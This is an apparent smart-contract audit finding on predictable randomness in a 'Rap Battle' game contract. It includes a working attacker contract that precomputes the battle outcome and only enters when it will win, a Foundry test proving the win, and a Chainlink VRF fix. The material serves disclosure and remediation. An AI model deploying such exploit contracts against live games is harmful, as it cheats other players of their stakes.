Summary
The Rap Battle contract generates pseudorandom numbers in a way that allows attackers to precompute values and only initiate battles when assured of winning. This enables challengers to game the system and win disproportionately.
Vulnerability Details
The key vulnerability is in _battle(uint256 _tokenId, uint256 _credBet), generating randomness with:
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
Proof of Code
contract AttackRandom {
function attack(address rapAddress, uint256 _tokenId, uint256 bet) public {
if (RapBattle(rapAddress).defender() != address(0)) {
uint256 defenderRapperSkill = RapBattle(rapAddress).getRapperSkill(RapBattle(rapAddress).defenderTokenId());
uint256 challengerRapperSkill = RapBattle(rapAddress).getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this))))
% totalBattleSkill;
if (random > defenderRapperSkill) {
RapBattle(rapAddress).goOnStageOrBattle(_tokenId, bet);
}
}
}
}
function testBattleAlwaysWin(uint256 randomBlock) public {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.warp(8 days + 1);
streets.unstake(1);
cred.transfer(address(attacker), 4);
vm.stopPrank();
vm.prank(address(attacker));
cred.approve(address(rapBattle), 4);
vm.startPrank(challenger);
vm.roll(randomBlock);
vm.prevrandao(bytes32(uint256(100)));
attacker.attack(address(rapBattle), 1, 4);
assert(cred.balanceOf(address(attacker)) == 8);
vm.stopPrank();
}
Impact
Attackers can analyze then exploit predictable outcomes
Undermines fair distribution of rap battle wins
Harms trust in the credibility of the game
Tools Used
Manual Review
Recommendations
Recommend introducing:
More robust PRNG like Chainlink VRF
Generating true randomness preserves fairness and prevents battles exploitation.